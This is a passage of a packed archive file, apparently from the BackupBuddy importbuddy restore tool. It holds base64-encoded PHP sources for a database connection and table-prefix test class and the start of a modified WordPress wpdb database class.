ZSBiYXJlIG1pbmltdW0gdG8gYmUgYWNjZXB0ZWQuCgkJCSdwcmVmaXhfZXhpc3RzJyAgICAgICAgID0+IHRydWUsICAgIC8vIFdvcmRQcmVzcyB0YWJsZXMgbWF0Y2hpbmcgcHJlZml4IGZvdW5kPwoJCQkncHJlZml4X3dhcm4nICAgICAgICAgICA9PiB0cnVlLCAgICAvLyBXYXJuIGlmIHByZWZpeCBvZiBhIGJhZCBmb3JtYXQuCgkJCSdvdmVyYWxsX2Vycm9yJyAgICAgICAgID0+ICcnLCAgICAgIC8vIE92ZXJhbGwgZXJyb3Igb2YgdGhlIHRlc3QuIElmIG1pc3NpbmcgZmllbGRzIHRoZW4gdGhpcyB3aWxsIGJlIHdoYXQgZXJyb3JzIGFib3V0IG1pc3NpbmcgZmllbGQocykuCgkJKTsKCX0KCgkvKioKCSAqIFVzZXMgdGhlIHRlc3RzIGFycmF5IHRvIGNhbGwgdGVzdHMgaW5kaXZpZHVhbGx5CgkgKgoJICogQHNpbmNlIDYuNC4wLjEzCgkgKgoJICogQHJldHVybiB2b2lkCgkgKi8KCWZ1bmN0aW9uIHJ1bl90ZXN0cygpIHsKCQkvLyBMb29wIHRocm91Z2ggYXJyYXkgb2YgdGVzdHMsIG9ubHkgY2FsbGluZyBvbmVzIHdoZXJlIGZ1bmN0aW9uIGV4aXN0cwoJCWZvcmVhY2ggKCAkdGhpcy0+dGVzdHMgYXMgJHRlc3QgPT4gJHJlc3VsdCApIHsKCQkJaWYgKCBpc19jYWxsYWJsZSggYXJyYXkoICR0aGlzLCAndGVzdF8nIC4gJHRlc3QgKSApICYmIGVtcHR5KCAkdGhpcy0+dGVzdHNbJHRlc3RdICkgKSB7CgkJCQljYWxsX3VzZXJfZnVuYyggYXJyYXkoICR0aGlzLCAndGVzdF8nIC4gJHRlc3QgKSApOwoJCQl9CgkJfQoKCQlkaWUoIGpzb25fZW5jb2RlKCAkdGhpcy0+dGVzdHMgKSApOwoJfQoKCS8qKgoJICogVGVzdCBmb3IgREIgQ29ubmVjdCBhbmQgREIgU2VsZWN0CgkgKgoJICogQHNpbmNlIDYuNC4wLjEzCgkgKgoJICogQHJldHVybiB2b2lkCgkgKi8KCSBmdW5jdGlvbiB0ZXN0X2Nvbm5lY3QoKSB7CgkJcmVxdWlyZV9vbmNlKCBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5L2NsYXNzZXMvd3AtZGIucGhwJyApOwoJCWdsb2JhbCAkd3BkYjsKCQkkdGhpcy0+d3BkYiA9IG5ldyB3cGRiKCAkdGhpcy0+Y3JlZHNbJ3VzZXJuYW1lJ10sICR0aGlzLT5jcmVkc1sncGFzc3dvcmQnXSwgJHRoaXMtPmNyZWRzWydkYXRhYmFzZSddLCAkdGhpcy0+Y3JlZHNbJ3NlcnZlciddICk7CgkJaWYgKCAoIGZhbHNlID09PSAkdGhpcy0+d3BkYi0+ZGJoICkgfHwgKCBudWxsID09PSAkdGhpcy0+d3BkYi0+ZGJoICkgKXsKCQkJaWYgKCBlbXB0eSggJHRoaXMtPndwZGItPnVzZV9teXNxbGkgKSApIHsKCQkJCSRteXNxbF9lcnJvciA9IEBteXNxbF9lcnJvciggJHRoaXMtPndwZGItPmRiaCApOwoJCQl9IGVsc2UgewoJCQkJJG15c3FsX2Vycm9yID0gQG15c3FsaV9lcnJvciggJHRoaXMtPndwZGItPmRiaCApOwoJCQl9CgkJCSR0aGlzLT50ZXN0c1snY29ubmVjdF9lcnJvciddID0gJ1VuYWJsZSB0byBjb25uZWN0IHRvIGRhdGFiYXNlIHNlcnZlciBhbmQvb3Igc2VsZWN0IHRoZSBkYXRhYmFzZS4gRGV0YWlsczogYCcgLiAkbXlzcWxfZXJyb3IgLiAnYC4nOwoJCQlkaWUoIGpzb25fZW5jb2RlKCAkdGhpcy0+dGVzdHMgKSApOwoJCX0KCQkkdGhpcy0+dGVzdHNbJ2Nvbm5lY3QnXSA9IHRydWU7CgkJJHRoaXMtPnRlc3RzWydzZWxlY3RkYiddID0gdHJ1ZTsKCX0KCgkvKioKCSAqIFRlc3RzIHRoZSBhYmlsaXR5IHRvIGNyZWF0ZSBhbmQgZHJvcCBhIHRhYmxlCgkgKgoJICogQHNpbmNlIDYuNC4wLjEzCgkgKgoJICogQHJldHVybiB2b2lkCgkgKi8KCWZ1bmN0aW9uIHRlc3RfY3JlYXRlZHJvcHRhYmxlKCkgewoJCS8vIE1ha2Ugc3VyZSB3ZSd2ZSBhbHJlYWR5IGNvbm5lY3RlZC4gVGhpcyBzaG91bGQgbmV2ZXIgcnVuIHVubGVzcyBzb21lb25lIGNhbGxzIGl0IG1hbnVhbGx5IGFnYWluLgoJCWlmICggZW1wdHkoICR0aGlzLT50ZXN0c1snY29ubmVjdCddICkgKSB7CgkJCSR0aGlzLT50ZXN0X2Nvbm5lY3QoKTsKCQl9CgoJCS8vIEVzY2FwZSBwcmVmaXggbWFudWFsbHkgc2luY2Ugd2UgY2FuJ3QgdXNlICR3cGRiLT5wcmVmaXggYW5kICR3cGRiLT5wcmVwYXJlIGFkZHMgc2luZ2xlIHF1b3RlcwoJCWlmICggZW1wdHkoICR0aGlzLT53cGRiLT51c2VfbXlzcWxpICkgKSB7CgkJCSRwcmVmaXggPSBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoICR0aGlzLT5jcmVkc1sncHJlZml4J10gKTsKCQl9IGVsc2UgewoJCQkkcHJlZml4ID0gbXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZyggJHRoaXMtPndwZGItPmRiaCwgJHRoaXMtPmNyZWRzWydwcmVmaXgnXSApOwoJCX0KCgkJLy8gVHJ5IHRvIGRyb3AgdGVzdCB0YWJsZSBpbiBldmVudCBwcmV2aW91cyBhdHRlbXB0IGZhaWxlZC4gTm90IGEgcGFydCBvZiB0aGUgdGVzdC4gTk9URTogVGhpcyB0aHJvd3MgYW4gZXJyb3IgdG8gdGhlIFBIUCBlcnJvciBsb2cgaWYgd3BkYiBsb2dnaW5nIGVuYWJsZWQgdW5sZXNzIGVycm9ycyBhcmUgc3VwcHJlc3NlZC4KCQkkdGhpcy0+d3BkYi0+c3VwcHJlc3NfZXJyb3JzKCB0cnVlICk7IC8vIEhpZGUgZXJyb3JzIGlmIHRoaXMgdGVzdCBmYWlscyBzaW5jZSB3ZSBoYXZlIGxvZ2dpbmcgb24gYnkgZGVmYXVsdC4KCQkkZHJvcF90ZXN0X3RhYmxlID0gJ0RST1AgVEFCTEUgJyAuICRwcmVmaXggLiAnYnVkZHlfdGVzdCc7CgkJJHRoaXMtPndwZGItPnF1ZXJ5KCAkZHJvcF90ZXN0X3RhYmxlICk7CgkJJHRoaXMtPndwZGItPnN1cHByZXNzX2Vycm9ycyggZmFsc2UgKTsKCgkJLy8gQXR0ZW1wdCB0byBjcmVhdGUgdGhlIHRlc3QgdGFibGUKCQkkY3JlYXRlX3Rlc3RfdGFibGUgPSAnQ1JFQVRFIFRBQkxFICcgLiAkcHJlZml4IC4gJ2J1ZGR5X3Rlc3QgKGlkIElOVCBOT1QgTlVMTCBBVVRPX0lOQ1JFTUVOVCBQUklNQVJZIEtFWSk7JzsKCQlpZiAoIEZBTFNFICE9PSAkdGhpcy0+d3BkYi0+cXVlcnkoICRjcmVhdGVfdGVzdF90YWJsZSApICkgewoJCQkvLyBEcm9wIHRlbXAgdGVzdCB0YWJsZSB3ZSBjcmVhdGVkIGJlZm9yZSB3ZSBkZWNsYXJlIHN1Y2Nlc3MuCgkJCWlmICggRkFMU0UgIT09ICR0aGlzLT53cGRiLT5xdWVyeSggJGRyb3BfdGVzdF90YWJsZSApICkgewoJCQkJJHRoaXMtPnRlc3RzWydjcmVhdGVkcm9wdGFibGUnXSA9IHRydWU7CgkJCX0gZWxzZSB7IC8vIGRyb3AgZmFpbGVkLgoJCQkJaWYgKCBlbXB0eSggJHRoaXMtPndwZGItPnVzZV9teXNxbGkgKSApIHsKCQkJCQkkbXlzcWxfZXJybm8gPSBteXNxbF9lcnJubyggJHRoaXMtPndwZGItPmRiaCApOwoJCQkJfSBlbHNlIHsKCQkJCQkkbXlzcWxfZXJybm8gPSBteXNxbGlfZXJybm8oICR0aGlzLT53cGRiLT5kYmggKTsKCQkJCX0KCQkJCSR0aGlzLT50ZXN0c1snY3JlYXRlZHJvcHRhYmxlX2Vycm9yJ10gPSAnVW5hYmxlIHRvIGRlbGV0ZSB0ZW1wb3JhcnkgdGFibGUuICcgLiAkdGhpcy0+d3BkYi0+bGFzdF9lcnJvciAuICcgLSBFcnJvck5vOiBgJyAuICRteXNxbF9lcnJubyAuICdgLic7CgkJCX0KCQl9Cgl9CgoJLyoqCgkgKiBUZXN0cyBmb3IgZXhpc3RpbmcgdGFibGVzIHdpdGggdGhlIHNhbWUgcHJlZml4CgkgKgoJICogQHNpbmNlIDYuNC4wLjEzCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiB0ZXN0X3ByZWZpeCgpIHsKCQkvLyBNYWtlIHN1cmUgd2UndmUgYWxyZWFkeSBjb25uZWN0ZWQuIFRoaXMgc2hvdWxkIG5ldmVyIGJlIHRydWUuCgkJaWYgKCBlbXB0eSggJHRoaXMtPnRlc3RzWydjb25uZWN0J10gKSApIHsKCQkJJHRoaXMtPnRlc3RfY29ubmVjdCgpOwoJCX0KCgkJLy8gV29yZFByZXNzIHRhYmxlcyBleGlzdCBtYXRjaGluZyBwcmVmaXg/CgkJJHByZWZpeF9leGlzdHNfc3FsID0gJHRoaXMtPndwZGItPnByZXBhcmUoICJTSE9XIFRBQkxFUyBMSUtFICclcyc7Iiwgc3RyX3JlcGxhY2UoICdfJywgJ1xfJywgJHRoaXMtPmNyZWRzWydwcmVmaXgnXSApIC4gIiUiICk7CgkJJHJlc3VsdCAgICAgICAgICAgID0gJHRoaXMtPndwZGItPmdldF9yZXN1bHRzKCAkcHJlZml4X2V4aXN0c19zcWwgKTsKCQlpZiAoIGVtcHR5KCAkcmVzdWx0ICkgKSB7IC8vIFdvcmRQcmVzcyBwcmVmaXggZG9lcyBub3QgZXhpc3QuCgkJCSR0aGlzLT50ZXN0c1sncHJlZml4X2V4aXN0cyddID0gZmFsc2U7CgkJfQoKCQkvLyBNYWtlIHN1cmUgcHJlZml4IG1lZXRzIHdwIHN0YW5kYXJkcy4KCQlpZiAoICEgcHJlZ19tYXRjaCggJ3xbXmEtejAtOV9dfGknLCAkdGhpcy0+Y3JlZHNbJ3ByZWZpeCddICkgKSB7IC8vIFByZWZpeCBtZWV0cyBXUCBzdGFuZGFyZHMuCgkJCSR0aGlzLT50ZXN0c1sncHJlZml4J10gPSB0cnVlOwoJCQlpZiAoIHByZWdfbWF0Y2goICcvXlthLXowLTldKygoX1thLXowLTldKyk/KSs/XyQvaScsICR0aGlzLT5jcmVkc1sncHJlZml4J10gKSApIHsgLy8gUHJlZml4IHBhc3NlcyB3aXRoIG5vIHdhcm5pbmcuCgkJCQkkdGhpcy0+dGVzdHNbJ3ByZWZpeF93YXJuJ10gPSBmYWxzZTsKCQkJfSBlbHNlIHsKCQkJCSR0aGlzLT50ZXN0c1sncHJlZml4X3dhcm4nXSA9IHRydWU7CgkJCX0KCQl9CgoJfQp9Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/classes/test-db.php,importbuddy/classes/test-db.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/classes/wp-db.php,importbuddy/classes/wp-db.php
PD9waHAKLy8gd3BkLWRiLnBocCBtb2RpZmllZCBmb3IgQkIgdjYuMC4wLjYgdG8gc3RvcmUgc2V0IGNoYXJzZXQgaW4gJHdwZGItPmNoYXJzZXQgZm9yIHV0Zm1iNCBoYW5kbGluZyB3aXRoIG15c3FsYnVkZHkgaW4gc2V0X2NoYXJ0c2V0KCkuCi8vIE5PVEU6IEEgY29weSBvZiB0aGlzIGZpbGUgaXMgZHJvcHBlZCBpbnRvIF9yb2xsYmFja191bmRvLnBocC4KCgoKLyoqCiAqIFdvcmRQcmVzcyBEQiBDbGFzcwogKgogKiBPcmlnaW5hbCBjb2RlIGZyb20ge0BsaW5rIGh0dHA6Ly9waHAuanVzdGludmluY2VudC5jb20gSnVzdGluIFZpbmNlbnQgKGp1c3RpbkB2aXN1bmV0LmllKX0KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqIEBzdWJwYWNrYWdlIERhdGFiYXNlCiAqIEBzaW5jZSAwLjcxCiAqLwoKLyoqCiAqIEBzaW5jZSAwLjcxCiAqLwpkZWZpbmUoICdFWlNRTF9WRVJTSU9OJywgJ1dQMS4yNScgKTsKCi8qKgogKiBAc2luY2UgMC43MQogKi8KZGVmaW5lKCAnT0JKRUNUJywgJ09CSkVDVCcgKTsKZGVmaW5lKCAnb2JqZWN0JywgJ09CSkVDVCcgKTsgLy8gQmFjayBjb21wYXQuCgovKioKICogQHNpbmNlIDIuNS4wCiAqLwpkZWZpbmUoICdPQkpFQ1RfSycsICdPQkpFQ1RfSycgKTsKCi8qKgogKiBAc2luY2UgMC43MQogKi8KZGVmaW5lKCAnQVJSQVlfQScsICdBUlJBWV9BJyApOwoKLyoqCiAqIEBzaW5jZSAwLjcxCiAqLwpkZWZpbmUoICdBUlJBWV9OJywgJ0FSUkFZX04nICk7CgovKioKICogV29yZFByZXNzIERhdGFiYXNlIEFjY2VzcyBBYnN0cmFjdGlvbiBPYmplY3QKICoKICogSXQgaXMgcG9zc2libGUgdG8gcmVwbGFjZSB0aGlzIGNsYXNzIHdpdGggeW91ciBvd24KICogYnkgc2V0dGluZyB0aGUgJHdwZGIgZ2xvYmFsIHZhcmlhYmxlIGluIHdwLWNvbnRlbnQvZGIucGhwCiAqIGZpbGUgdG8geW91ciBjbGFzcy4gVGhlIHdwZGIgY2xhc3Mgd2lsbCBzdGlsbCBiZSBpbmNsdWRlZCwKICogc28geW91IGNhbiBleHRlbmQgaXQgb3Igc2ltcGx5IHVzZSB5b3VyIG93bi4KICoKICogQGxpbmsgaHR0cHM6Ly9jb2RleC53b3JkcHJlc3Mub3JnL0Z1bmN0aW9uX1JlZmVyZW5jZS93cGRiX0NsYXNzCiAqCiAqIEBwYWNrYWdlIFdvcmRQcmVzcwogKiBAc3VicGFja2FnZSBEYXRhYmFzZQogKiBAc2luY2UgMC43MQogKi8KY2xhc3Mgd3BkYiB7CgoJLyoqCgkgKiBXaGV0aGVyIHRvIHNob3cgU1FML0RCIGVycm9ycy4KCSAqCgkgKiBEZWZhdWx0IGJlaGF2aW9yIGlzIHRvIHNob3cgZXJyb3JzIGlmIGJvdGggV1BfREVCVUcgYW5kIFdQX0RFQlVHX0RJU1BMQVkKCSAqIGV2YWx1YXRlZCB0byB0cnVlLgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKiBAYWNjZXNzIHByaXZhdGUKCSAqIEB2YXIgYm9vbAoJICovCgl2YXIgJHNob3dfZXJyb3JzID0gZmFsc2U7CgoJLyoqCgkgKiBXaGV0aGVyIHRvIHN1cHByZXNzIGVycm9ycyBkdXJpbmcgdGhlIERCIGJvb3RzdHJhcHBpbmcuCgkgKgoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAc2luY2UgMi41LjAKCSAqIEB2YXIgYm9vbAoJICovCgl2YXIgJHN1cHByZXNzX2Vycm9ycyA9IGZhbHNlOwoKCS8qKgoJICogVGhlIGxhc3QgZXJyb3IgZHVyaW5nIHF1ZXJ5LgoJICoKCSAqIEBzaW5jZSAyLjUuMAoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRsYXN0X2Vycm9yID0gJyc7CgoJLyoqCgkgKiBBbW91bnQgb2YgcXVlcmllcyBtYWRlCgkgKgoJICogQHNpbmNlIDEuMi4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBpbnQKCSAqLwoJcHVibGljICRudW1fcXVlcmllcyA9IDA7CgoJLyoqCgkgKiBDb3VudCBvZiByb3dzIHJldHVybmVkIGJ5IHByZXZpb3VzIHF1ZXJ5CgkgKgoJICogQHNpbmNlIDAuNzEKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIGludAoJICovCglwdWJsaWMgJG51bV9yb3dzID0gMDsKCgkvKioKCSAqIENvdW50IG9mIGFmZmVjdGVkIHJvd3MgYnkgcHJldmlvdXMgcXVlcnkKCSAqCgkgKiBAc2luY2UgMC43MQoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAdmFyIGludAoJICovCgl2YXIgJHJvd3NfYWZmZWN0ZWQgPSAwOwoKCS8qKgoJICogVGhlIElEIGdlbmVyYXRlZCBmb3IgYW4gQVVUT19JTkNSRU1FTlQgY29sdW1uIGJ5IHRoZSBwcmV2aW91cyBxdWVyeSAodXN1YWxseSBJTlNFUlQpLgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBpbnQKCSAqLwoJcHVibGljICRpbnNlcnRfaWQgPSAwOwoKCS8qKgoJICogTGFzdCBxdWVyeSBtYWRlCgkgKgoJICogQHNpbmNlIDAuNzEKCSAqIEBhY2Nlc3MgcHJpdmF0ZQoJICogQHZhciBhcnJheQoJICovCgl2YXIgJGxhc3RfcXVlcnk7CgoJLyoqCgkgKiBSZXN1bHRzIG9mIHRoZSBsYXN0IHF1ZXJ5IG1hZGUKCSAqCgkgKiBAc2luY2UgMC43MQoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAdmFyIGFycmF5fG51bGwKCSAqLwoJdmFyICRsYXN0X3Jlc3VsdDsKCgkvKioKCSAqIE15U1FMIHJlc3VsdCwgd2hpY2ggaXMgZWl0aGVyIGEgcmVzb3VyY2Ugb3IgYm9vbGVhbi4KCSAqCgkgKiBAc2luY2UgMC43MQoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqIEB2YXIgbWl4ZWQKCSAqLwoJcHJvdGVjdGVkICRyZXN1bHQ7CgoJLyoqCgkgKiBDYWNoZWQgY29sdW1uIGluZm8sIGZvciBzYW5pdHkgY2hlY2tpbmcgZGF0YSBiZWZvcmUgaW5zZXJ0aW5nCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICogQHZhciBhcnJheQoJICovCglwcm90ZWN0ZWQgJGNvbF9tZXRhID0gYXJyYXkoKTsKCgkvKioKCSAqIENhbGN1bGF0ZWQgY2hhcmFjdGVyIHNldHMgb24gdGFibGVzCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICogQHZhciBhcnJheQoJICovCglwcm90ZWN0ZWQgJHRhYmxlX2NoYXJzZXQgPSBhcnJheSgpOwoKCS8qKgoJICogV2hldGhlciB0ZXh0IGZpZWxkcyBpbiB0aGUgY3VycmVudCBxdWVyeSBuZWVkIHRvIGJlIHNhbml0eSBjaGVja2VkLgoJICoKCSAqIEBzaW5jZSA0LjIuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqIEB2YXIgYm9vbAoJICovCglwcm90ZWN0ZWQgJGNoZWNrX2N1cnJlbnRfcXVlcnkgPSB0cnVlOwoKCS8qKgoJICogRmxhZyB0byBlbnN1cmUgd2UgZG9uJ3QgcnVuIGludG8gcmVjdXJzaW9uIHByb2JsZW1zIHdoZW4gY2hlY2tpbmcgdGhlIGNvbGxhdGlvbi4KCSAqCgkgKiBAc2luY2UgNC4yLjAKCSAqIEBhY2Nlc3MgcHJpdmF0ZQoJICogQHNlZSB3cGRiOjpjaGVja19zYWZlX2NvbGxhdGlvbigpCgkgKiBAdmFyIGJvb2wKCSAqLwoJcHJpdmF0ZSAkY2hlY2tpbmdfY29sbGF0aW9uID0gZmFsc2U7CgoJLyoqCgkgKiBTYXZlZCBpbmZvIG9uIHRoZSB0YWJsZSBjb2x1bW4KCSAqCgkgKiBAc2luY2UgMC43MQoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqIEB2YXIgYXJyYXkKCSAqLwoJcHJvdGVjdGVkICRjb2xfaW5mbzsKCgkvKioKCSAqIFNhdmVkIHF1ZXJpZXMgdGhhdCB3ZXJlIGV4ZWN1dGVkCgkgKgoJICogQHNpbmNlIDEuNS4wCgkgKiBAYWNjZXNzIHByaXZhdGUKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICRxdWVyaWVzOwoKCS8qKgoJICogVGhlIG51bWJlciBvZiB0aW1lcyB0byByZXRyeSByZWNvbm5lY3RpbmcgYmVmb3JlIGR5aW5nLgoJICoKCSAqIEBzaW5jZSAzLjkuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqIEBzZWUgd3BkYjo6Y2hlY2tfY29ubmVjdGlvbigpCgkgKiBAdmFyIGludAoJICovCglwcm90ZWN0ZWQgJHJlY29ubmVjdF9yZXRyaWVzID0gNTsKCgkvKioKCSAqIFdvcmRQcmVzcyB0YWJsZSBwcmVmaXgKCSAqCgkgKiBZb3UgY2FuIHNldCB0aGlzIHRvIGhhdmUgbXVsdGlwbGUgV29yZFByZXNzIGluc3RhbGxhdGlvbnMKCSAqIGluIGEgc2luZ2xlIGRhdGFiYXNlLiBUaGUgc2Vjb25kIHJlYXNvbiBpcyBmb3IgcG9zc2libGUKCSAqIHNlY3VyaXR5IHByZWNhdXRpb25zLgoJICoKCSAqIEBzaW5jZSAyLjUuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkcHJlZml4ID0gJyc7CgoJLyoqCgkgKiBXb3JkUHJlc3MgYmFzZSB0YWJsZSBwcmVmaXguCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJIHB1YmxpYyAkYmFzZV9wcmVmaXg7CgoJLyoqCgkgKiBXaGV0aGVyIHRoZSBkYXRhYmFzZSBxdWVyaWVzIGFyZSByZWFkeSB0byBzdGFydCBleGVjdXRpbmcuCgkgKgoJICogQHNpbmNlIDIuMy4yCgkgKiBAYWNjZXNzIHByaXZhdGUKCSAqIEB2YXIgYm9vbAoJICovCgl2YXIgJHJlYWR5ID0gZmFsc2U7CgoJLyoqCgkgKiBCbG9nIElELgoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgaW50CgkgKi8KCXB1YmxpYyAkYmxvZ2lkID0gMDsKCgkvKioKCSAqIFNpdGUgSUQuCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBpbnQKCSAqLwoJcHVibGljICRzaXRlaWQgPSAwOwoKCS8qKgoJICogTGlzdCBvZiBXb3JkUHJlc3MgcGVyLWJsb2cgdGFibGVzCgkgKgoJICogQHNpbmNlIDIuNS4wCgkgKiBAYWNjZXNzIHByaXZhdGUKCSAqIEBzZWUgd3BkYjo6dGFibGVzKCkKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICR0YWJsZXMgPSBhcnJheSggJ3Bvc3RzJywgJ2NvbW1lbnRzJywgJ2xpbmtzJywgJ29wdGlvbnMnLCAncG9zdG1ldGEnLAoJCSd0ZXJtcycsICd0ZXJtX3RheG9ub215JywgJ3Rlcm1fcmVsYXRpb25zaGlwcycsICd0ZXJtbWV0YScsICdjb21tZW50bWV0YScgKTsKCgkvKioKCSAqIExpc3Qgb2YgZGVwcmVjYXRlZCBXb3JkUHJlc3MgdGFibGVzCgkgKgoJICogY2F0ZWdvcmllcywgcG9zdDJjYXQsIGFuZCBsaW5rMmNhdCB3ZXJlIGRlcHJlY2F0ZWQgaW4gMi4zLjAsIGRiIHZlcnNpb24gNTUzOQoJICoKCSAqIEBzaW5jZSAyLjkuMAoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAc2VlIHdwZGI6OnRhYmxlcygpCgkgKiBAdmFyIGFycmF5CgkgKi8KCXZhciAkb2xkX3RhYmxlcyA9IGFycmF5KCAnY2F0ZWdvcmllcycsICdwb3N0MmNhdCcsICdsaW5rMmNhdCcgKTsKCgkvKioKCSAqIExpc3Qgb2YgV29yZFByZXNzIGdsb2JhbCB0YWJsZXMKCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqIEBhY2Nlc3MgcHJpdmF0ZQoJICogQHNlZSB3cGRiOjp0YWJsZXMoKQoJICogQHZhciBhcnJheQoJICovCgl2YXIgJGdsb2JhbF90YWJsZXMgPSBhcnJheSggJ3VzZXJzJywgJ3VzZXJtZXRhJyApOwoKCS8qKgoJICogTGlzdCBvZiBNdWx0aXNpdGUgZ2xvYmFsIHRhYmxlcwoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAc2VlIHdwZGI6OnRhYmxlcygpCgkgKiBAdmFyIGFycmF5CgkgKi8KCXZhciAkbXNfZ2xvYmFsX3RhYmxlcyA9IGFycmF5KCAnYmxvZ3MnLCAnc2lnbnVwcycsICdzaXRlJywgJ3NpdGVtZXRhJywKCQknc2l0ZWNhdGVnb3JpZXMnLCAncmVnaXN0cmF0aW9uX2xvZycsICdibG9nX3ZlcnNpb25zJyApOwoKCS8qKgoJICogV29yZFByZXNzIENvbW1lbnRzIHRhYmxlCgkgKgoJICogQHNpbmNlIDEuNS4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRjb21tZW50czsKCgkvKioKCSAqIFdvcmRQcmVzcyBDb21tZW50IE1ldGFkYXRhIHRhYmxlCgkgKgoJICogQHNpbmNlIDIuOS4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRjb21tZW50bWV0YTsKCgkvKioKCSAqIFdvcmRQcmVzcyBMaW5rcyB0YWJsZQoJICoKCSAqIEBzaW5jZSAxLjUuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkbGlua3M7CgoJLyoqCgkgKiBXb3JkUHJlc3MgT3B0aW9ucyB0YWJsZQoJICoKCSAqIEBzaW5jZSAxLjUuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkb3B0aW9uczsKCgkvKioKCSAqIFdvcmRQcmVzcyBQb3N0IE1ldGFkYXRhIHRhYmxlCgkgKgoJICogQHNpbmNlIDEuNS4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRwb3N0bWV0YTsKCgkvKioKCSAqIFdvcmRQcmVzcyBQb3N0cyB0YWJsZQoJICoKCSAqIEBzaW5jZSAxLjUuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkcG9zdHM7CgoJLyoqCgkgKiBXb3JkUHJlc3MgVGVybXMgdGFibGUKCSAqCgkgKiBAc2luY2UgMi4zLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIHN0cmluZwoJICovCglwdWJsaWMgJHRlcm1zOwoKCS8qKgoJICogV29yZFByZXNzIFRlcm0gUmVsYXRpb25zaGlwcyB0YWJsZQoJICoKCSAqIEBzaW5jZSAyLjMuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkdGVybV9yZWxhdGlvbnNoaXBzOwoKCS8qKgoJICogV29yZFByZXNzIFRlcm0gVGF4b25vbXkgdGFibGUKCSAqCgkgKiBAc2luY2UgMi4zLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIHN0cmluZwoJICovCglwdWJsaWMgJHRlcm1fdGF4b25vbXk7CgoJLyoqCgkgKiBXb3JkUHJlc3MgVGVybSBNZXRhIHRhYmxlLgoJICoKCSAqIEBzaW5jZSA0LjQuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkdGVybW1ldGE7CgoJLyoKCSAqIEdsb2JhbCBhbmQgTXVsdGlzaXRlIHRhYmxlcwoJICovCgoJLyoqCgkgKiBXb3JkUHJlc3MgVXNlciBNZXRhZGF0YSB0YWJsZQoJICoKCSAqIEBzaW5jZSAyLjMuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkdXNlcm1ldGE7CgoJLyoqCgkgKiBXb3JkUHJlc3MgVXNlcnMgdGFibGUKCSAqCgkgKiBAc2luY2UgMS41LjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIHN0cmluZwoJICovCglwdWJsaWMgJHVzZXJzOwoKCS8qKgoJICogTXVsdGlzaXRlIEJsb2dzIHRhYmxlCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRibG9nczsKCgkvKioKCSAqIE11bHRpc2l0ZSBCbG9nIFZlcnNpb25zIHRhYmxlCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRibG9nX3ZlcnNpb25zOwoKCS8qKgoJICogTXVsdGlzaXRlIFJlZ2lzdHJhdGlvbiBMb2cgdGFibGUKCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIHN0cmluZwoJICovCglwdWJsaWMgJHJlZ2lzdHJhdG